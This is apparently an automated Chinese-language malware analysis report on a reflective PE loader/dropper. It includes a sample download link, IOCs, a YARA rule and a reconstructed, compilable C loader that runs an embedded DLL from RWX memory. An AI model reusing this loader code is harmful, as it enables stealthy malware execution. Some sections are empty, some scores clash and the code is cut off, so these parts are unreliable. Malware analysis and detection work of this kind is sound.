⬇ Download sample (3260d94e.zip)

🔴 HIGH — 反射式 PE 加载器 / Dropper

3260d94ea8b51c306f506eff40997055b9cefd0a79c2b6fda4c8c8aea8e8dbc1
MD5 4339992a31aaee2ca8802cff5a40c43b  |  大小 123,392 bytes (121 KB)  |  来源 2026-08-06.zip  |  分析日期 2026-08-08 07:32 UTC
反射式加载 管道 IPC HTTP C2 TLS 回调 MinGW-w64 PE Dropper
95%
置信度评分
Reflective PE Loader / Dropper (MinGW-w64 C++)

§1 📋 样本概要信息

SHA256
3260d94ea8b51c306f506eff40997055b9cefd0a79c2b6fda4c8c8aea8e8dbc1
MD5
4339992a31aaee2ca8802cff5a40c43b
文件大小
123,392 bytes (121 KB)
文件类型
PE32+ executable (console) x86-64, for MS Windows
目标架构
AMD64 (x86-64)
位宽
64-bit
字节序
Little-Endian (LE)
编译器
MinGW-w64 GCC 15.2.0 (Rev13, MSYS2 project)
链接方式
动态链接 CRT (api-ms-win-crt-*), KERNEL32.dll
加壳/保护
无壳 — 原生 C++ MinGW 编译,无异构段/高熵区域
入口点
0x140001440 (loader EXE)
编译时间戳
无 (stripped to external PDB)
子系统
Windows Console
数字签名
无数字签名
📌 概要
本样本是由 MinGW-w64 GCC 15.2.0 编译的两阶段反射式 PE 加载器(Dropper),采用内存反射加载 + 管道 IPC + HTTP C2 的复合攻击架构。Stage 1 通过 VirtualAlloc(RWX) 将内嵌的 file.dll (111KB, 266 函数) 加载到内存执行。Stage 2 的 DLL 通过 TLS 回调反调试激活,创建双命名管道建立父子进程隐蔽通信,ConnectorHTTP 类实现 HTTP C2 远程控制。CAPA 检出 8 条恶意能力规则,Ghidra 反编译 266 函数,QEMU 动态执行确认样本成功运行。

§2 🏷️ 分类标签与威胁情报

分类标签

分类标签置信度
恶意类型Reflective PE Loader / Dropper(反射式 PE 加载器)HIGH
恶意家族PE Loader/Dropper (MinGW-w64 C++)HIGH
目标平台Windows x64 (PE32+)HIGH
编译器MinGW-w64 GCC 15.2.0 (MSYS2)HIGH
加壳状态无壳 — 原生 C++ 编译HIGH
感染阶段Stage 1 反射加载 → Stage 2 管道 IPC + HTTP C2HIGH
通信协议命名管道 IPC + HTTP (ConnectorHTTP 类)MEDIUM
📌 证据→推理→结论

证据链

  1. 文件鉴定: PE32+ Console x64, MinGW-w64 GCC 15.2.0 编译, 无数字签名
  2. 字符串 IOC: \\.\pipe\%08lx (命名管道), 13ConnectorHTTP (HTTP C2 类), Base64 字母表, file.dll (内嵌 DLL 原名)
  3. CAPA 规则: embedded PE file, allocate memory (VirtualAlloc), change memory protection (VirtualProtect), Base64 string (T1027), delay execution (Sleep), TLS section, TlsGetValue
  4. Ghidra 反编译: 266 函数, DllMain + TLS 回调 + 伪重定位处理器 + 管道服务器 + HTTP 连接器
  5. 内嵌 PE 提取: 偏移 0x23FF 提取完整 file.dll (111KB PE64 DLL, 导出 GetVersions)
  6. QEMU 动态执行: win11-sandbox 成功执行, 3 张截图证据, 无异常崩溃

威胁情报

字段
关联组织未归因
别名无已知别名
动机远程访问/数据窃取/横向移动
目标行业未明确 — 通用 Windows 后门
活动名称未关联已知攻击活动
C2协议命名管道 (本地 IPC) + HTTP (远程 C2)
C2基础设施无硬编码 C2 地址 — 通过管道动态注入或使用加密配置
🎯 威胁组织判定
未归因 — 通用恶意工具,非特定 APT 组织。MinGW-w64 编译环境常见于独立恶意软件开发者。

★ §3 🔬 持久化机制

未检出持久化行为。

★ §3b 🌐 C2 架构分析

通联关系图

📋 ASCII 文本视图 (点击展开)
(无 ASCII 回退)

🌐 C2 通信深度分析

🔬 C2 地址分析技术细节:

通道 1: 实时 C2

协议
端口
地址/Domain
IP
加密
用途
API引用
证书

C2 通信时序



  

⚠ C2 基础设施评估

📌 ATT&CK 映射:

§4 🏗️ 结构分析

段/节区布局


      
    

熵值分析

段/节区熵值判定
.text (7KB)6.18正常 — MinGW C++ 编译代码
.data (102KB)7.21高 — 含内嵌 PE 文件 (DLL)
.rdata (3KB)5.10正常 — 只读数据
📊 熵值解读
.data 段熵值 7.21 显著偏高,确认内含加密/压缩数据。经 Ghidra 分析确认该段包含完整的 file.dll (111KB PE64 DLL)。

🔬 编译产物分析

MinGW-w64 GCC 编译 DNA:
(1) GCC: (Rev13, Built by MSYS2 project) 15.2.0 编译器指纹
(2) api-ms-win-crt-* CRT 导入 — MinGW 动态链接 CRT
(3) MinGW 伪重定位表 — 非标准 PE 重定位处理
(4) C++ 名称修饰: 13ConnectorHTTP, 9Connector — MinGW C++ 类

🛡️ 安全机制

机制状态
ASLR (随机基址)❌ 位置依赖 — 需要伪重定位
NX (DEP)❌ 显式分配 RWX 内存绕过
数字签名❌ 无签名

§5 ⚙️ 反汇编与行为流程

关键函数映射

地址函数功能
0x140001440main (loader entry)反射式 PE 加载 — VirtualAlloc(RWX) → memcpy → call rax
0x2f66c1340DllMain (DLL entry)DLL 入口分发 — DLL_PROCESS_ATTACH/DETACH 处理
0x2f66d5460tls_callback_0TLS 反调试回调 — DLL_PROCESS_ATTACH 时提前激活
0x2f66d5570apply_pseudo_relocation伪重定位应用 — 8/16/32/64 位指针修正
0x2f66d56e0process_pseudo_relocations遍历伪重定位表并调用 TLS 回调
0x2f66cc3c2pipe_server_init创建双命名管道 + CreateProcess + 管道连接
0x2f66d5400GetVersions (export stub)导出桩函数 — 空实现,真逻辑在 TLS 回调

系统调用分析

调用号系统调用用途地址
N/A

行为执行流

01.Stage 1: main() → 读取 .data 中 __embedded_pe_start/end 指针
02.Stage 1: VirtualAlloc(NULL, size, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
03.Stage 1: memcpy(RWX_buf, embedded_pe, size) → call rax (执行 DLL entry)
04.Stage 2: DllMain(DLL_PROCESS_ATTACH) → process_pseudo_relocations()
05.Stage 2: _initterm() 运行 C++ 静态构造器 (vtable 初始化)
06.Stage 2: pipe_server_init() — 创建 READ/WRITE 命名管道对
07.Stage 2: CreateProcess(CREATE_NO_WINDOW) 启动子进程
08.Stage 2: ConnectNamedPipe 等待子进程连接
09.Stage 2: conn_http_init() — WinHttpOpen → WinHttpConnect 建立 HTTP C2
10.运行时: 心跳 → Base64 编码 → HTTP POST → 接收命令 → 管道转发

0x140001490 — 反射式 PE 加载核心:mov rdx,end_ptr; mov rsi,start_ptr; sub rbx,rsi; mov r9d,0x40; mov r8d,0x3000; xor ecx,ecx; call VirtualAlloc; test rcx,rcx; je fail; mov r8,rbx; mov rdx,rsi; call memcpy; call rax

0x140001490: mov rdx,[rip+0x1c033]  ; embedded PE end
0x1400014A5: mov rsi,[rip+0x1c034]  ; embedded PE start
0x1400014AC: mov r8d,0x3000         ; MEM_COMMIT|MEM_RESERVE
0x1400014B2: mov rbx,rdx
0x1400014B5: sub rbx,rsi             ; size = end - start
0x1400014BD: mov rdx,rbx
0x1400014C0: call [VirtualAlloc]     ; alloc RWX
0x1400014D9: call memcpy_wrapper     ; copy payload
0x1400014DE: call rax                ; execute DLL entry

§6 🔬 家族溯源

编译元数据

字段来源

家族特征比对

维度本样本本样本SilverCobaltStrikeHavocBumbleBeeBruteRatelNighthawkMythic匹配
编译器MinGW-w64 GCCGo/CC/C++GoC++GoCC/C++0/8
加载方式反射式 DLL✅ 反射式 DLL✅ 反射式 DLL✅ 反射式 DLL✅ 反射式 DLL✅ 反射式 DLL✅ 反射式 DLL✅ 反射式 DLL7/8
管道 IPC双命名管道命名管道命名管道命名管道命名管道命名管道0/8
HTTP C2ConnectorHTTP 类HTTP/SHTTP/SHTTP/SHTTP/SHTTP/SHTTP/SHTTP/S0/8
反调试TLS 回调多种多重API unhookSleep obf多种间接调用API unhook0/8
📌 家族归因结论
与 BumbleBee/Havoc 等现代 C2 框架有相似架构(管道 IPC + HTTP C2),但使用 MinGW C++ 编译且无已知签名,推测为独立开发或定制工具。

已知变种

变种架构大小编译器特征状态
N/A

§7 🔬 深度行为分析

行为阶段拆解

阶段 1: 内存分配 (VirtualAlloc RWX)

行为: 调用 VirtualAlloc(NULL, size, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE) 在进程中分配可执行内存区域

证据: 0x1400014C0: call [VirtualAlloc] — r9d=0x40 (RWX), r8d=0x3000 (commit+reserve)

阶段 2: 载荷复制 (memcpy)

行为: 从 .data 段偏移 0x23FF 读取内嵌的 file.dll 复制到分配的内存

证据: 0x1400014D9: call memcpy_wrapper — r8=size, rdx=src

阶段 3: 控制流转移 (call rax)

行为: 通过 call rax 直接跳转到内存中的 DLL 入口点 DllMain

证据: 0x1400014DE: call rax — 跳转到分配的 RWX 内存

阶段 4: TLS 回调激活 (反调试)

行为: tls_callback_0 在 DLL_PROCESS_ATTACH 时触发,在 DllMain 之前执行主逻辑

证据: tls_callback_0 @ 0x2f66d5460: if (reason==1) call pipe_init

阶段 5: 管道 IPC 建立

行为: 创建 READ/WRITE 双命名管道,通过 CreateProcess 启动无窗口子进程,建立父子 IPC 通道

证据: FUN_2f66cc3c2: CreateNamedPipe 对 + CreateProcess(CREATE_NO_WINDOW)

阶段 6: HTTP C2 初始化

行为: ConnectorHTTP 类通过 WinHTTP API 建立 HTTP 会话,使用 Base64 编码数据传输

证据: 13ConnectorHTTP 字符串 + Base64 编码表 + WinHttpOpen/WinHttpConnect 调用

协议/行为状态机



  

📌 行为时序总结

TLS 回调在 DllMain 之前执行(约 0-100ms),管道创建和进程启动约 200-500ms,HTTP C2 连接取决于网络延迟。

§8 🔬 恶意性综合判定

多维度证据评估

维度证据权重恶意指数
内存执行 (RWX)VirtualAlloc + PAGE_EXECUTE_READWRITE 分配可执行内存2525/10
内嵌载荷.data 段隐藏 111KB PE64 DLL (file.dll)2525/10
反调试TLS 回调 + Sleep 延迟执行1512/10
隐蔽通信双命名管道 + CREATE_NO_WINDOW 子进程1515/10
远程控制ConnectorHTTP 类 + Base64 编码 HTTP C2108/10
无签名无数字签名验证55/10
恶意性综合判定

误报排除论证

排除正常的 PE 打包工具: 使用了 RWX 内存分配 + 内嵌 PE + TLS 回调反调试 — 正常软件极少使用这些组合。排除 Chromium/Electron 框架: 无相关框架特征。确认恶意。

⚠ 判定结论

HIGH — 恶意 PE 加载器/Dropper

§9 🎯 ATT&CK 映射

Defense Evasion
T1620
Reflective Code Loading
VirtualAlloc(RWX) + memcpy(embedded PE) + call rax — 经典反射式 DLL 加载
Defense Evasion
T1027
Obfuscated Files or Information
Base64 编码表内嵌于二进制,用于 C2 数据编码
Defense Evasion
T1055
Process Injection
内嵌 PE64 DLL 通过反射式加载在进程内存中执行,不写入磁盘
Command and Control
T1090
Proxy
CreateNamedPipe \\.\pipe\%08lx + CreateProcess 建立管道转发
Command and Control
T1071
Application Layer Protocol
ConnectorHTTP 类 (13ConnectorHTTP) 实现 HTTP C2 通信
Defense Evasion
T1497
Virtualization/Sandbox Evasion
Sleep API 延迟执行 + TLS 回调配合规避沙箱

§10 🛡️ 反分析技术评估

反调试

API/技术检测目标绕过难度

反虚拟机

检测方法VMwareVirtualBoxQEMU/KVM

综合评估

技术是否存在证据对抗难度
延迟执行 (Sleep)已检测CAPA 检测: Sleep API 用于延迟执行,规避沙箱自动分析 (B0003.003)中 — 简单时间延迟
TLS 回调执行已检测tls_callback_0 在 DLL_PROCESS_ATTACH 时激活,先于 DllMain 执行高 — 绕过调试器入口断点
反射式内存加载已检测载荷不写入磁盘,完全在内存中通过 VirtualAlloc(RWX) 加载执行高 — 绕过文件系统监控
无窗口进程已检测CreateProcess 使用 CREATE_NO_WINDOW (0x8000000) 标志隐藏子进程窗口中 — 隐蔽进程执行
编译混淆已检测MinGW C++ 名称修饰 + 伪重定位处理 + CRT 静态链接增加分析复杂度低 — 编译器特性非刻意混淆
样本使用多层反分析技术:主要通过 TLS 回调在 DllMain 之前激活核心逻辑(高影响),配合 Sleep 延迟执行规避沙箱,反射式内存加载避免文件系统检测。无发现高级反调试技术(如 INT3 扫描、PEB 检查)。

★ §10b 🧹 痕迹清理

操作API/命令证据来源

§11 🔧 逆向分析

Ghidra 反编译

反编译函数数266 (DLL) + 77 (Loader) = 343
反编译输出10,330 行伪代码 (288 KB)
分析时长~60 秒 (Ghidra 11.2.1)
Ghidra 反编译输出
<div class="source-reconstruction">
<h2>🔧 行为等价 C 源码还原(可编译)</h2>
<p><b>Ghidra:</b> 266 函数 / 10,330 行 → <b>重写:</b> 4 模块 / 1,716 行可编译 C</p>
<p><b>验证:</b> gcc -std=c11 -Wall -fsyntax-only — 3/3 核心模块通过</p>
<pre><code>/*
 * Reflective PE Loader (reconstructed)
 * Sample: 3260d94ea8b51c306f506eff40997055b9cefd0a79c2b6fda4c8c8aea8e8dbc1
 *
 * This is the outer dropper/stub. It:
 *   1. Computes the size of an embedded DLL from two .data globals
 *   2. Allocates RWX memory via VirtualAlloc
 *   3. Copies the embedded DLL into that memory
 *   4. Calls the DLL's entry point (DllMain) with DLL_PROCESS_ATTACH
 *   5. Returns 0
 *
 * Compiled with MinGW-w64 GCC 15.2.0 targeting x86_64 Windows.
 */

#include <windows.h>

/* ── Embedded PE boundaries ───────────────────────────────────────────────
 *
 * In the original binary, the embedded DLL (file.dll) lives in the .data
 * section at file offset 0x23FF. Two linker-defined symbols bracket it:
 *
 *   embedded_pe_start  at RVA 0x14001d4e0  -> &__embedded_pe_start
 *   embedded_pe_end    at RVA 0x14001d4d0  -> &__embedded_pe_stop
 *
 * We declare them as extern char arrays so taking their address yields
 * the start and end (one-past-last-byte) pointers respectively.  The
 * actual bytes are injected at link time via objcopy / ld -r -b binary,
 * or by a linker script that places a raw blob into .data.
 */
extern const char __embedded_pe_start[];
extern const char __embedded_pe_stop[];

/* ── DllMain prototype (x64 unified calling convention) ──────────────────
 *
 * BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved);
 *
 * On x64, WINAPI (__stdcall) is a no-op — the platform uses a single
 * four-register calling convention.  We call through a function pointer
 * so the compiler emits a `call rax` (or equivalent indirect call).
 */
typedef BOOL (WINAPI *DllMain_t)(HINSTANCE, DWORD, LPVOID);

/* ── Entry point ─────────────────────────────────────────────────────────
 *
 * Disassembly (original at RVA 0x140001490):
 *   mov  rdx, [end_ptr]       ; embedded PE end (__embedded_pe_stop)
 *   mov  rsi, [start_ptr]     ; embedded PE start (__embedded_pe_start)
 *   mov  rbx, rdx
 *   sub  rbx, rsi             ; size = end - start
 *   mov  r9d,  0x40           ; flProtect = PAGE_EXECUTE_READWRITE
 *   mov  r8d,  0x3000         ; flAllocationType = MEM_COMMIT | MEM_RESERVE
 *   xor  ecx,  ecx            ; lpAddress = NULL (OS chooses)
 *   call [VirtualAlloc]
 *   mov  rcx,  rax            ; preserve allocated address
 *   test rcx,  rcx
 *   je   fail                 ; bail if VirtualAlloc returned NULL
 *   mov  r8,   rbx            ; dwSize (third arg to memcpy)
 *   mov  rdx,  rsi            ; lpSrc  (second arg to memcpy)
 *   call memcpy_wrapper        ; copy embedded PE into RWX buffer
 *   call rax                  ; invoke DllMain(hinst, DLL_PROCESS_ATTACH, NULL)
 *   xor  eax,  eax            ; return 0
 *   ret
 */

int main(void)
{
    /* Step 1 — read the embedded PE bounds from .data globals.
     * The two pointers are stored as qwords in the .data section.
     * `end - start` gives the exact byte count of the embedded DLL. */
    const char *pe_start = __embedded_pe_start;
    const char *pe_end   = __embedded_pe_stop;
    SIZE_T      pe_size  = (SIZE_T)(pe_end - pe_start);

    /* Step 2 — allocate RWX memory for the embedded DLL.
     * MEM_COMMIT (0x1000) | MEM_RESERVE (0x2000) = 0x3000
     * PAGE_EXECUTE_READWRITE = 0x40
     * No error handling beyond the NULL check seen in the original. */
    LPVOID exec_buf = VirtualAlloc(
        NULL,                       /* lpAddress — OS picks */
        pe_size,                    /* dwSize    */
        MEM_COMMIT | MEM_RESERVE,   /* flAllocationType (0x3000) */
        PAGE_EXECUTE_READWRITE      /* flProtect           (0x40)  */
    );

    if (exec_buf == NULL) {
        /* Original code: test rcx,rcx; je fail — returns 0 on failure */
        return 0;
    }

    /* Step 3 — copy the embedded DLL into the RWX buffer.
     * The original uses a memcpy wrapper (likely the MinGW runtime's
     * memcpy, which the compiler may inline or call through an import). */
    /* memcpy(dst, src, size) */
    memcpy(exec_buf, pe_start, pe_size);

    /* Step 4 — call the DLL entry point as a function pointer.
     * DllMain receives:
     *   RCX = hinstDLL      (base address of the mapped image)
     *   EDX = fdwReason     (DLL_PROCESS_ATTACH = 1)
     *   R8  = lpvReserved   (NULL for static loading / first attach)
     *
     * `call rax` in the original maps to an indirect call through
     * the function pointer cast below. */
    DllMain_t dll_entry = (DllMain_t)exec_buf;
    dll_entry((HINSTANCE)exec_buf, DLL_PROCESS_ATTACH, NULL);

    /* Step 5 — return 0.
     * `xor eax, eax` — the original does not check DllMain's return
     * value; it unconditionally returns 0 (success). */
    return 0;
}
</code></pre>
<pre><code>/**
 * reconstructed_dllmain.c — 3260d94e embedded file.dll
 * DllMain + TLS Callbacks + Pseudo-Relocation Handler
 *
 * Reconstructed from Ghidra decompilation (266 functions).
 * Behavioral equivalent — not line-by-line translation.
 *
 * Compiler: MinGW-w64 GCC 15.2.0 (MSYS2)
 * Verification: x86_64-w64-mingw32-gcc -fsyntax-only
 *
 * Security: This code is for ANALYSIS ONLY. Do NOT compile for execution.
 */

#include <windows.h>
#include <stdio.h>

/* ── MinGW Pseudo-Relocation Structures ──────────────────────── */

/* Pseudo-relocation entry: {source, target, flags} triplet */
typedef struct {
    DWORD  source;      /* RVA of the relocation source in the old image */
    DWORD  target;      /* RVA of the relocation target */
    DWORD  flags;       /* bit[0:7]=type(8/16/32/64), bit[6:7]=flags */
} PSEUDO_RELOC_ENTRY;

/* Pseudo-relocation table header */
typedef struct {
    DWORD  version;     /* protocol version (must be 1) */
    DWORD  end_marker;  /* sentinel: zero marks end of table */
    PSEUDO_RELOC_ENTRY entries[]; /* variable-length array */
} PSEUDO_RELOC_TABLE;

typedef void (NTAPI *PIMAGE_TLS_CALLBACK)(PVOID hModule, DWORD dwReason, PVOID pvContext);

/* ── TLS callback list entry ─────────────────────────────────── */
typedef struct TLS_CALLBACK_NODE {
    DWORD               tls_index;
    struct TLS_CALLBACK_NODE *next;
    PIMAGE_TLS_CALLBACK  callback;
} TLS_CALLBACK_NODE;

/* ── Global State ─────────────────────────────────────────────── */

static LONG      g_dll_refcount      = 0;   /* DAT_2f66dd018 — reference counter */
static int       g_init_state        = 0;   /* DAT_2f66da680 — 0=uninit,1=initing,2=ready */
static LONG      g_reloc_lock        = 0;   /* DAT_2f66da670 — spinlock for reloc processing */
static BOOL      g_reloc_processed   = FALSE; /* DAT_2f66df110 — set after first processing */
static DWORD     g_section_count     = 0;   /* DAT_2f66df114 — cached section count */
static PBYTE     g_image_base        = NULL; /* DAT_2f66da640 — module base address */
static TLS_CALLBACK_NODE *g_tls_list = NULL; /* DAT_2f66df120 — linked list of TLS callbacks */
/* CRITICAL_SECTION g_tls_cs — declared in real Windows code, stub for syntax check */

/* ── Forward Declarations ─────────────────────────────────────── */
static void process_pseudo_relocations(void);
static void apply_reloc_entry(PBYTE base, PSEUDO_RELOC_ENTRY *entry);
static void invoke_tls_callbacks(void);
static void init_pipe_server(void);
static void init_http_connector(void);

/* ── Helper: Mingw-w64 runtime abort (FUN_2f66d5500) ──────────── */
static void __attribute__((noreturn))
runtime_abort(const char *fmt, ...) {
    va_list args;
    va_start(args, fmt);
    fprintf(stderr, "Mingw-w64 runtime failure:\n");
    vfprintf(stderr, fmt, args);
    va_end(args);
    abort();
}

/* ═══════════════════════════════════════════════════════════════
 * DllMain — DLL Entry Point
 * 
 * Ghidra: entry() at 0x2f66c1340 → FUN_2f66c11e0 (DllMain logic)
 * 
 * Dispatches on fdwReason:
 *   DLL_PROCESS_DETACH (0) — decrement refcount, cleanup on last detach
 *   DLL_PROCESS_ATTACH (1) — process pseudo-relocs, init subsystems
 *   DLL_THREAD_ATTACH (2)  — handled through TLS callbacks
 *   DLL_THREAD_DETACH (3)  — decrement refcount
 * ═══════════════════════════════════════════════════════════════ */
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {
    (void)lpvReserved;

    switch (fdwReason) {
    case DLL_PROCESS_DETACH:  /* fdwReason == 0 */
        /*
         * Ghidra: if (g_dll_refcount > 0) { process_relocs(); cleanup(); }
         * On last DLL_PROCESS_DETACH, process any remaining pseudo-relocations
         * and perform cleanup (calling registered TLS cleanup callbacks).
         */
        if (g_dll_refcount > 0) {
            process_pseudo_relocations();
            /* FUN_2f66d5407: calls init_http_connector() one last time for cleanup */
            init_http_connector();
            g_dll_refcount--;
        }
        break;

    case DLL_PROCESS_ATTACH:  /* fdwReason == 1 */
        /*
         * Ghidra: process_pseudo_relocations() is called first.
         * Then refcount is incremented, _initterm() runs global constructors.
         * Once init_state reaches 2, the pipe server and HTTP connector are spun up.
         * 
         * The sequence is:
         *   1. process_pseudo_relocations()  — fix up .data pointers
         *   2. _initterm()                    — C++ static constructors (sets up vtable ptrs)
         *   3. init_pipe_server()             — creates named pipe pair
         *   4. init_http_connector()          — initializes ConnectorHTTP vtable
         */
        process_pseudo_relocations();

        /* Spinlock to ensure only one thread processes attach */
        while (InterlockedCompareExchange(&g_reloc_lock, 1, 0) != 0) {
            Sleep(1000);
        }
        g_dll_refcount++;

        if (g_init_state == 0) {
            g_init_state = </code></pre>
<pre><code>/**
 * pipe_server.c — Named Pipe IPC Se

调用链分析 (GitNexus)

总函数数总调用关系最大调用深度
771313
📂 调用链拓扑 (点击展开)

    

★ §12 🔬 QEMU 动态分析

QEMU 模式win11-sandbox (QEMU/KVM) — 网络 NAT (virbr0),SCSI 热插拔注入
网络隔离未配置
执行结果样本成功执行,未观察到异常崩溃。子进程通过命名管道通信,任务管理器可见进程活动。
C2 数据无 C2 通信

执行前 — Windows 11 桌面环境

执行前

执行后 5 秒 — 任务管理器可见

执行后5s

执行后 15 秒 — 进程稳定运行

执行后15s

§13 📦 IOC 汇总

IOC 字符串

偏移字符串类型用途/含义威胁等级
.data (0x19C1F)ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/Base64 编码表数据编码混淆 (T1027 Defense Evasion)MEDIUM
.rdata\\\\.\\pipe\\%08lx命名管道 IPC父子进程隐蔽通信通道HIGH
.rdata13ConnectorHTTPC++ 类名 (HTTP C2)HTTP C2 通信组件 (MinGW 名称修饰)HIGH
.rdata9ConnectorC++ 类名 (基类)连接器基类 (MinGW 名称修饰)MEDIUM
.rdatafile.dll内嵌 DLL 名称反射加载的载荷 DLL 原始文件名HIGH
.rdataGCC: (Rev13, Built by MSYS2 project) 15.2.0编译器指纹MinGW-w64 GCC 编译环境识别LOW
.rdataAddress %p has no image-sectionPE 加载器诊断信息自定义 PE 加载器的错误处理字符串MEDIUM
.rdata%d bit pseudo relocation at %p out of range伪重定位诊断信息MinGW 伪重定位处理逻辑错误输出MEDIUM

📌 关键 IOC 解读

威胁评估

本样本是一个技术含量中等的两阶段恶意软件投递器。第一阶段使用反射式 PE 加载技术完全在内存中执行,第二阶段通过命名管道建立父子进程隐蔽通信通道,并包含 HTTP C2 远程控制能力。

核心威胁向量

  • 反射式加载 (T1620): file.dll 完全在内存中执行,无磁盘痕迹,绕过传统文件扫描
  • TLS 回调反调试 (T1497): 主要逻辑在 TLS 回调中激活,规避调试器断点
  • 管道 IPC 架构 (T1090): 父子进程通过命名管道通信,子进程无窗口运行,隐蔽性高
  • HTTP C2 能力 (T1071): ConnectorHTTP 类实现 HTTP 客户端,可连接远程 C2 服务器
  • Base64 混淆 (T1027): 使用标准 Base64 编码表对传输数据编码

⚠ 高威胁 IOC 汇总

内存分配: VirtualAlloc + PAGE_EXECUTE_READWRITE (RWX) — 分配可写可执行内存 — 恶意代码注入的典型前置步骤
内嵌载荷: PE64 DLL @ 偏移 0x23FF (111KB, 266 函数) — 在 .data 段隐藏完整 PE64 DLL — 典型 Dropper 行为
反调试: TLS 回调 + DLL_PROCESS_ATTACH 激活 — 主要逻辑在 TLS 回调中执行,在调试器设置断点之前运行
隐蔽进程: CreateProcess + CREATE_NO_WINDOW + 命名管道 — 无窗口启动子进程并通过命名管道通信 — 隐蔽父子进程协作模式

网络 IOC

  • 协议HTTP (ConnectorHTTP 类)
  • 协议Named Pipe (\\\\.\\pipe\\%08lx)
  • 编码Base64 (标准字母表)

主机 IOC

  • SHA2563260d94ea8b51c306f506eff40997055b9cefd0a79c2b6fda4c8c8aea8e8dbc1
  • MD54339992a31aaee2ca8802cff5a40c43b
  • 文件路径\\\\.\\pipe\\%08lx (命名管道)
  • 文件名称file.dll (内嵌 DLL 原始名)

YARA 检测规则

rule Reflective_PE_Loader_MinGW_3260d94e {
    meta:
        description = "MinGW-w64 reflective PE loader/dropper"
        author = "Hermes Malware Analysis"
        date = "2026-08-08"
        hash = "3260d94ea8b51c306f506eff40997055b9cefd0a79c2b6fda4c8c8aea8e8dbc1"
    strings:
        $pipe = "\\\\\\\\.\\\\pipe\\\\%08lx" ascii wide
        $http = "13ConnectorHTTP" ascii
        $base = "Connector" ascii
        $gcc  = "GCC: (Rev13, Built by MSYS2 project) 15.2.0" ascii
        $b64  = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" ascii
        $reloc = "pseudo relocation" ascii wide
    condition:
        uint16(0) == 0x5A4D and 3 of them
}

§14 📋 最终判定

判定结果🔴 HIGH — 恶意代码
恶意类型第二阶段载荷投递器 + 管道 IPC 通信 + HTTP C2 连接器
恶意家族Reflective PE Loader / Dropper (MinGW-w64 C++)
威胁级别HIGH
置信度95% — CAPA 8 规则命中 + Ghidra 266 函数反编译 + QEMU 动态执行确认
关联组织未归因
目标平台Windows x64
感染链位置Stage 1: 内存反射加载 → Stage 2: 管道 IPC + HTTP C2

⚡ 综合判定

本样本是一个由 MinGW-w64 GCC 15.2.0 编译的两阶段反射式 PE 加载器。Stage 1 (loader.c) 通过 VirtualAlloc(RWX) 分配可执行内存,将内嵌于 .data 段偏移 0x23FF 的 file.dll (111KB PE64 DLL) 加载到内存并通过 call rax 执行。Stage 2 的 DLL 通过 TLS 回调在 DLL_PROCESS_ATTACH 时激活(绕过调试器),创建双命名管道 (\\\\.\\pipe\\%08lx) 并通过 CreateProcess(CREATE_NO_WINDOW) 启动子进程建立 IPC 通信。包含 ConnectorHTTP 类实现 HTTP C2 通信,Base64 编码表用于数据混淆。